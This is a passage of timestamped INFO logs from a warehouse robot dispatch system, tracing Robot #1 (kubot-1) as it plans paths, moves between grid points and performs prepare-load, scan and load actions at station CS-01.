ms: 1, current sequence: 16226 next sequence: 16226 [application-ess-pinned-dispatcher-550] 2025-09-24 10:50:48,818 [INFO] from c.h.e.a.o.EssObserverManager-line:897 - build all env points at sequence 16226 [application-ess-pinned-dispatcher-562] 2025-09-24 10:50:48,819 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14376 plan cost 1ms [application-ess-pinned-dispatcher-545] 2025-09-24 10:50:48,819 [INFO] from c.h.e.a.r.kubot.EssKubotEntity-line:2186 - Robot #1 update path for task: CS-01:call-1844111992696083712#0 then lock points: [POINT:6454:3698#270, POINT:6454:4248#270, POINT:6454:4798#270, POINT:6454:5248#270, POINT:6454:5698#270, POINT:6454:6248#270, POINT:6454:6798#270, POINT:6454:7248#270, POINT:6454:7698#270, POINT:6454:8248#270, POINT:6454:8798#270, POINT:6454:9292#270, POINT:6454:9787#270, POINT:6454:10281#270, POINT:6454:10596#270, POINT:6454:10596#180, POINT:5964:10596#180, POINT:5689:10596#180], lock container theta: [],intended destinations: [LT_CACHE_SHELF_ENTRY:POINT:5169:10596#0],dest point: POINT:5169:10596 is move finished: false. [application-ess-pinned-dispatcher-550] 2025-09-24 10:50:48,819 [INFO] from c.h.e.a.o.algo.v2.EssPpV2Adapter-line:58 - update path done cost ms: 0, current sequence: 16231 next sequence: 16231 [application-ess-pinned-dispatcher-545] 2025-09-24 10:50:49,237 [INFO] from c.h.ess.actor.robot.EssRobotBus-line:133 - [Robot #1] current point: [POINT:6454:3698#270] [application-ess-pinned-dispatcher-550] 2025-09-24 10:50:49,267 [INFO] from c.h.e.a.o.EssObserverManager-line:897 - build all env points at sequence 16231 [application-ess-pinned-dispatcher-562] 2025-09-24 10:50:49,518 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14379 plan cost 1ms [application-ess-pinned-dispatcher-545] 2025-09-24 10:50:49,519 [INFO] from c.h.e.a.r.kubot.EssKubotEntity-line:2186 - Robot #1 update path for task: CS-01:call-1844111992696083712#0 then lock points: [POINT:6454:4248#270, POINT:6454:4798#270, POINT:6454:5248#270, POINT:6454:5698#270, POINT:6454:6248#270, POINT:6454:6798#270, POINT:6454:7248#270, POINT:6454:7698#270, POINT:6454:8248#270, POINT:6454:8798#270, POINT:6454:9292#270, POINT:6454:9787#270, POINT:6454:10281#270, POINT:6454:10596#270, POINT:6454:10596#180, POINT:5964:10596#180, POINT:5689:10596#180, POINT:5169:10596#180], lock container theta: [],intended destinations: [LT_CACHE_SHELF_ENTRY:POINT:5169:10596#0],dest point: POINT:5169:10596 is move finished: true. [application-ess-pinned-dispatcher-545] 2025-09-24 10:50:49,519 [INFO] from c.h.e.a.r.kubot.EssKubotEntity-line:3140 - Robot #1 try action: prepare-load at location: LT_CACHE_SHELF_ENTRY:POINT:5169:10596 for task: CS-01:call-1844111992696083712 locked true then executing [application-ess-pinned-dispatcher-550] 2025-09-24 10:50:49,519 [INFO] from c.h.e.a.o.algo.v2.EssPpV2Adapter-line:58 - update path done cost ms: 1, current sequence: 16236 next sequence: 16236 [application-ess-pinned-dispatcher-550] 2025-09-24 10:50:49,767 [INFO] from c.h.e.a.o.EssObserverManager-line:897 - build all env points at sequence 16234 [application-ess-pinned-dispatcher-550] 2025-09-24 10:50:49,768 [INFO] from c.h.e.a.o.EssObserverManager-line:897 - build all env points at sequence 16221 [application-ess-pinned-dispatcher-562] 2025-09-24 10:50:49,768 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14380 plan cost 0ms [application-ess-pinned-dispatcher-550] 2025-09-24 10:50:50,017 [INFO] from c.h.e.a.o.EssObserverManager-line:897 - build all env points at sequence 16238 [application-ess-pinned-dispatcher-562] 2025-09-24 10:50:50,018 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14381 plan cost 1ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:50:50,218 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14382 plan cost 0ms [application-ess-pinned-dispatcher-550] 2025-09-24 10:50:50,468 [INFO] from c.h.e.a.o.EssObserverManager-line:897 - build all env points at sequence 16241 [application-ess-pinned-dispatcher-562] 2025-09-24 10:50:50,468 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14383 plan cost 0ms [application-ess-pinned-dispatcher-550] 2025-09-24 10:50:50,717 [INFO] from c.h.e.a.o.EssObserverManager-line:897 - build all env points at sequence 16244 [application-ess-pinned-dispatcher-562] 2025-09-24 10:50:50,717 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14384 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:50:50,969 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14385 plan cost 1ms [application-ess-pinned-dispatcher-550] 2025-09-24 10:50:51,218 [INFO] from c.h.e.a.o.EssObserverManager-line:897 - build all env points at sequence 16247 [application-ess-pinned-dispatcher-562] 2025-09-24 10:50:51,218 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14386 plan cost 0ms [application-ess-pinned-dispatcher-545] 2025-09-24 10:50:51,237 [INFO] from c.h.ess.actor.robot.EssRobotBus-line:133 - [Robot #1] current point: [POINT:6454:6248#270] [application-ess-pinned-dispatcher-550] 2025-09-24 10:50:51,318 [INFO] from c.h.e.a.o.EssObserverManager-line:897 - build all env points at sequence 16238 [application-ess-pinned-dispatcher-550] 2025-09-24 10:50:51,418 [INFO] from c.h.e.a.o.EssObserverManager-line:897 - build all env points at sequence 16248 [application-ess-pinned-dispatcher-562] 2025-09-24 10:50:51,419 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14387 plan cost 1ms [application-ess-pinned-dispatcher-550] 2025-09-24 10:50:51,667 [INFO] from c.h.e.a.o.EssObserverManager-line:897 - build all env points at sequence 16252 [application-ess-pinned-dispatcher-562] 2025-09-24 10:50:51,668 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14388 plan cost 1ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:50:51,918 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14389 plan cost 1ms [application-ess-pinned-dispatcher-550] 2025-09-24 10:50:52,167 [INFO] from c.h.e.a.o.EssObserverManager-line:897 - build all env points at sequence 16255 [application-ess-pinned-dispatcher-562] 2025-09-24 10:50:52,168 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14390 plan cost 0ms [application-ess-pinned-dispatcher-550] 2025-09-24 10:50:52,417 [INFO] from c.h.e.a.o.EssObserverManager-line:897 - build all env points at sequence 16256 [application-ess-pinned-dispatcher-562] 2025-09-24 10:50:52,418 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14391 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:50:52,668 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14392 plan cost 1ms [application-ess-pinned-dispatcher-550] 2025-09-24 10:50:52,867 [INFO] from c.h.e.a.o.EssObserverManager-line:897 - build all env points at sequence 16252 [application-ess-pinned-dispatcher-550] 2025-09-24 10:50:52,917 [INFO] from c.h.e.a.o.EssObserverManager-line:897 - build all env points at sequence 16259 [application-ess-pinned-dispatcher-562] 2025-09-24 10:50:52,918 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14393 plan cost 1ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:50:53,167 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14394 plan cost 0ms [application-ess-pinned-dispatcher-545] 2025-09-24 10:50:53,238 [INFO] from c.h.ess.actor.robot.EssRobotBus-line:133 - [Robot #1] current point: [POINT:6454:9292#270] [application-ess-pinned-dispatcher-550] 2025-09-24 10:50:53,368 [INFO] from c.h.e.a.o.EssObserverManager-line:897 - build all env points at sequence 16262 [application-ess-pinned-dispatcher-562] 2025-09-24 10:50:53,369 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14395 plan cost 1ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:50:53,618 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14396 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:50:53,868 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14397 plan cost 0ms [application-ess-pinned-dispatcher-550] 2025-09-24 10:50:54,118 [INFO] from c.h.e.a.o.EssObserverManager-line:897 - build all env points at sequence 16267 [application-ess-pinned-dispatcher-562] 2025-09-24 10:50:54,118 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14398 plan cost 0ms [application-ess-pinned-dispatcher-550] 2025-09-24 10:50:54,368 [INFO] from c.h.e.a.o.EssObserverManager-line:897 - build all env points at sequence 16262 [application-ess-pinned-dispatcher-562] 2025-09-24 10:50:54,368 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14399 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:50:54,619 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14400 plan cost 1ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:50:54,868 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14401 plan cost 0ms [application-ess-pinned-dispatcher-550] 2025-09-24 10:50:55,118 [INFO] from c.h.e.a.o.EssObserverManager-line:897 - build all env points at sequence 16272 [application-ess-pinned-dispatcher-562] 2025-09-24 10:50:55,118 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14402 plan cost 0ms [application-ess-pinned-dispatcher-545] 2025-09-24 10:50:55,238 [INFO] from c.h.ess.actor.robot.EssRobotBus-line:133 - [Robot #1] current point: [POINT:6454:10281#270] [application-ess-pinned-dispatcher-562] 2025-09-24 10:50:55,367 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14403 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:50:55,618 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14404 plan cost 0ms [application-ess-pinned-dispatcher-550] 2025-09-24 10:50:55,768 [INFO] from c.h.e.a.o.EssObserverManager-line:897 - build all env points at sequence 16270 [application-ess-pinned-dispatcher-550] 2025-09-24 10:50:55,768 [INFO] from c.h.e.a.o.a.v.EssChargeV2Adapter-line:167 - charge force charge robotCodes: [application-ess-pinned-dispatcher-562] 2025-09-24 10:50:55,868 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14405 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:50:56,118 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14406 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:50:56,368 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14407 plan cost 1ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:50:56,568 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14408 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:50:56,818 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14409 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:50:57,068 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14410 plan cost 0ms [application-ess-pinned-dispatcher-545] 2025-09-24 10:50:57,238 [INFO] from c.h.ess.actor.robot.EssRobotBus-line:133 - [Robot #1] current point: [POINT:6454:10596#270] [application-ess-pinned-dispatcher-562] 2025-09-24 10:50:57,318 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14411 plan cost 1ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:50:57,567 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14412 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:50:57,768 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14413 plan cost 1ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:50:58,018 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14414 plan cost 1ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:50:58,268 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14415 plan cost 1ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:50:58,518 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14416 plan cost 1ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:50:58,768 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14417 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:50:59,018 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14418 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:50:59,267 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14419 plan cost 0ms [application-ess-pinned-dispatcher-550] 2025-09-24 10:50:59,517 [INFO] from c.h.e.a.o.EssObserverManager-line:897 - build all env points at sequence 16289 [application-ess-pinned-dispatcher-562] 2025-09-24 10:50:59,517 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14420 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:50:59,768 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14421 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:00,019 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14422 plan cost 1ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:00,268 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14423 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:00,518 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14424 plan cost 0ms [application-ess-pinned-dispatcher-550] 2025-09-24 10:51:00,567 [INFO] from c.h.e.a.o.EssObserverManager-line:897 - build all env points at sequence 16289 [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:00,718 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14425 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:00,967 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14426 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:01,218 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14427 plan cost 0ms [application-ess-pinned-dispatcher-545] 2025-09-24 10:51:01,238 [INFO] from c.h.ess.actor.robot.EssRobotBus-line:133 - [Robot #1] current point: [POINT:6454:10596#180] [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:01,468 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14428 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:01,718 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14429 plan cost 1ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:01,918 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14430 plan cost 0ms [application-ess-pinned-dispatcher-550] 2025-09-24 10:51:02,117 [INFO] from c.h.e.a.o.EssObserverManager-line:897 - build all env points at sequence 16296 [application-ess-pinned-dispatcher-550] 2025-09-24 10:51:02,168 [INFO] from c.h.e.a.o.EssObserverManager-line:897 - build all env points at sequence 16302 [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:02,168 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14431 plan cost 0ms [application-ess-pinned-dispatcher-550] 2025-09-24 10:51:02,418 [INFO] from c.h.e.a.o.EssObserverManager-line:897 - build all env points at sequence 16303 [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:02,418 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14432 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:02,668 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14433 plan cost 1ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:02,917 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14434 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:03,168 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14435 plan cost 0ms [application-ess-pinned-dispatcher-545] 2025-09-24 10:51:03,237 [INFO] from c.h.ess.actor.robot.EssRobotBus-line:133 - [Robot #1] current point: [POINT:5689:10596#180] [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:03,418 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14436 plan cost 0ms [application-ess-pinned-dispatcher-550] 2025-09-24 10:51:03,668 [INFO] from c.h.e.a.o.EssObserverManager-line:897 - build all env points at sequence 16303 [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:03,668 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14437 plan cost 0ms [application-ess-pinned-dispatcher-545] 2025-09-24 10:51:03,864 [INFO] from c.h.e.a.s.k.EssKubotStationHandleEndAction-line:185 - station: CS-01 robot: kubot-1 end action: prepare-load SUCCEEDED for task: CS-01:call-1844111992696083712 at location: LT_CACHE_SHELF_ENTRY:POINT:5169:10596 [application-ess-pinned-dispatcher-545] 2025-09-24 10:51:03,864 [INFO] from c.h.e.a.s.k.s.c.EssKubotGreyBoxCacheShelfStation-line:642 - station: CS-01 after call robot: kubot-1 ready to scanOrLoad at CS-01-002-01 [application-ess-pinned-dispatcher-545] 2025-09-24 10:51:03,864 [INFO] from c.h.e.a.r.kubot.EssKubotEntity-line:3369 - Robot #1 end action: prepare-load at location LT_CACHE_SHELF_ENTRY:POINT:5169:10596, change state to IDLE belongLocation: CS-01-002-01 assignedTasks: [CS-01:call-1844111992696083712#0, CS-01:scan-1844112013513463040#0], action task: CS-01:call-1844111992696083712#0,lastStationCode: CS-01 [application-ess-pinned-dispatcher-545] 2025-09-24 10:51:03,865 [INFO] from c.h.e.a.r.kubot.EssKubotEntity-line:3464 - Robot #1 drive task finished action: prepare-load, transport task: CS-01:call-1844111992696083712 driveTaskCount: 1 currentIndex: 0 state: FINISHED, rest of tasks: [CS-01:scan-1844112013513463040#0], paused: false [application-ess-pinned-dispatcher-550] 2025-09-24 10:51:03,917 [INFO] from c.h.e.a.o.EssObserverManager-line:897 - build all env points at sequence 16310 [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:03,919 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14438 plan cost 1ms [application-ess-pinned-dispatcher-545] 2025-09-24 10:51:03,919 [INFO] from c.h.e.a.r.kubot.EssKubotEntity-line:2186 - Robot #1 update path for task: CS-01:scan-1844112013513463040#0 then lock points: [POINT:5169:10596#180, POINT:4526:10596#180, POINT:4026:10596#180, POINT:3671:10596#180, POINT:3316:10596#180], lock container theta: [],intended destinations: [CS-01-002-01#0],dest point: POINT:3316:10596 is move finished: true. [application-ess-pinned-dispatcher-550] 2025-09-24 10:51:03,919 [INFO] from c.h.e.a.o.algo.v2.EssPpV2Adapter-line:58 - update path done cost ms: 0, current sequence: 16320 next sequence: 16320 [application-ess-pinned-dispatcher-545] 2025-09-24 10:51:03,919 [INFO] from c.h.e.a.r.kubot.EssKubotEntity-line:3140 - Robot #1 try action: scan at location: CS-01-002-01 for task: CS-01:scan-1844112013513463040 locked true then executing [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:04,168 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14439 plan cost 1ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:04,368 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14440 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:04,618 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14441 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:04,868 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14442 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:05,118 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14443 plan cost 0ms [application-ess-pinned-dispatcher-550] 2025-09-24 10:51:05,217 [INFO] from c.h.e.a.o.EssObserverManager-line:897 - build all env points at sequence 16310 [application-ess-pinned-dispatcher-545] 2025-09-24 10:51:05,237 [INFO] from c.h.ess.actor.robot.EssRobotBus-line:133 - [Robot #1] current point: [POINT:5169:10596#180] [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:05,368 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14444 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:05,618 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14445 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:05,868 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14446 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:06,118 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14447 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:06,368 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14448 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:06,568 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14449 plan cost 0ms [application-ess-pinned-dispatcher-550] 2025-09-24 10:51:06,768 [INFO] from c.h.e.a.o.EssObserverManager-line:897 - build all env points at sequence 16331 [application-ess-pinned-dispatcher-550] 2025-09-24 10:51:06,768 [INFO] from c.h.e.a.o.EssObserverManager-line:897 - build all env points at sequence 16325 [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:06,768 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14450 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:07,019 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14451 plan cost 1ms [application-ess-pinned-dispatcher-545] 2025-09-24 10:51:07,238 [INFO] from c.h.ess.actor.robot.EssRobotBus-line:133 - [Robot #1] current point: [POINT:4526:10596#180] [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:07,267 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14452 plan cost 0ms [application-ess-pinned-dispatcher-550] 2025-09-24 10:51:07,467 [INFO] from c.h.e.a.o.EssObserverManager-line:897 - build all env points at sequence 16334 [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:07,468 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14453 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:07,668 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14454 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:07,918 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14455 plan cost 0ms [application-ess-pinned-dispatcher-550] 2025-09-24 10:51:08,168 [INFO] from c.h.e.a.o.EssObserverManager-line:897 - build all env points at sequence 16339 [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:08,168 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14456 plan cost 0ms [application-ess-pinned-dispatcher-550] 2025-09-24 10:51:08,317 [INFO] from c.h.e.a.o.EssObserverManager-line:897 - build all env points at sequence 16332 [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:08,368 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14457 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:08,618 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14458 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:08,868 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14459 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:09,118 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14460 plan cost 1ms [application-ess-pinned-dispatcher-545] 2025-09-24 10:51:09,237 [INFO] from c.h.ess.actor.robot.EssRobotBus-line:133 - [Robot #1] current point: [POINT:3671:10596#180] [application-ess-pinned-dispatcher-550] 2025-09-24 10:51:09,318 [INFO] from c.h.e.a.o.EssObserverManager-line:897 - build all env points at sequence 16344 [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:09,318 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14461 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:09,568 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14462 plan cost 0ms [application-ess-pinned-dispatcher-550] 2025-09-24 10:51:09,818 [INFO] from c.h.e.a.o.EssObserverManager-line:897 - build all env points at sequence 16342 [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:09,818 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14463 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:10,068 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14464 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:10,318 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14465 plan cost 1ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:10,518 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14466 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:10,768 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14467 plan cost 0ms [application-ess-pinned-dispatcher-545] 2025-09-24 10:51:10,927 [INFO] from c.h.e.a.r.kubot.EssKubotEntity-line:3613 - Robot #1 scan result is A000000032 [application-ess-pinned-dispatcher-545] 2025-09-24 10:51:10,928 [INFO] from c.h.e.a.s.k.EssKubotStationHandleEndAction-line:185 - station: CS-01 robot: kubot-1 end action: scan SUCCEEDED for task: CS-01:scan-1844112013513463040 at location: CS-01-002-01 [application-ess-pinned-dispatcher-545] 2025-09-24 10:51:10,928 [INFO] from c.h.e.a.s.k.EssKubotBaseStationWithHandleScan-line:312 - station: CS-01 after scan robot: kubot-1 wait load at location: CS-01-002-01 [application-ess-pinned-dispatcher-545] 2025-09-24 10:51:10,928 [INFO] from c.h.e.a.r.kubot.EssKubotEntity-line:3369 - Robot #1 end action: scan at location CS-01-002-01, change state to AWAITING belongLocation: CS-01-002-01 assignedTasks: [CS-01:scan-1844112013513463040#0, CS-01:load-1844112020920603904#0], action task: CS-01:scan-1844112013513463040#0,lastStationCode: CS-01 [application-ess-pinned-dispatcher-545] 2025-09-24 10:51:10,928 [INFO] from callback.EventCallbackHandler-line:888 - produce callback: 1844112020920664064 message: {"eventCode":"CALLBACK_OF_TOTE_SCAN_BY_ROBOT","taskGroupCode":"","taskCode":"CS-01:scan-1844112013513463040","taskStatus":"FINISHED","taskTemplateCode":"","actionCode":"scan","robotCode":"kubot-1","containerCode":"A000000032","trayLevel":0,"stationCode":"CS-01","locationCode":"CS-01-002-01","updateTime":1758682270928,"callId":"1844112020920664064"} [application-ess-pinned-dispatcher-545] 2025-09-24 10:51:10,929 [INFO] from c.h.e.a.r.kubot.EssKubotEntity-line:3464 - Robot #1 drive task finished action: scan, transport task: CS-01:scan-1844112013513463040 driveTaskCount: 1 currentIndex: 0 state: FINISHED, rest of tasks: [CS-01:load-1844112020920603904#0], paused: false [application-ess-pinned-dispatcher-556] 2025-09-24 10:51:10,929 [INFO] from callback.CallbackActor-line:223 - update lastCallbackId: 1844112020920664064 [application-ess-pinned-dispatcher-556] 2025-09-24 10:51:10,929 [INFO] from callback.CallbackActor-line:131 - ignore callbackId: 1844112020920664064 [application-ess-pinned-dispatcher-545] 2025-09-24 10:51:10,931 [INFO] from c.h.e.a.r.kubot.EssKubotEntity-line:3140 - Robot #1 try action: load at location: CS-01-002-01 for task: CS-01:load-1844112020920603904 locked true then executing [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:11,018 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14468 plan cost 1ms [application-ess-pinned-dispatcher-545] 2025-09-24 10:51:11,237 [INFO] from c.h.ess.actor.robot.EssRobotBus-line:133 - [Robot #1] current point: [POINT:3316:10596#180] [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:11,268 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 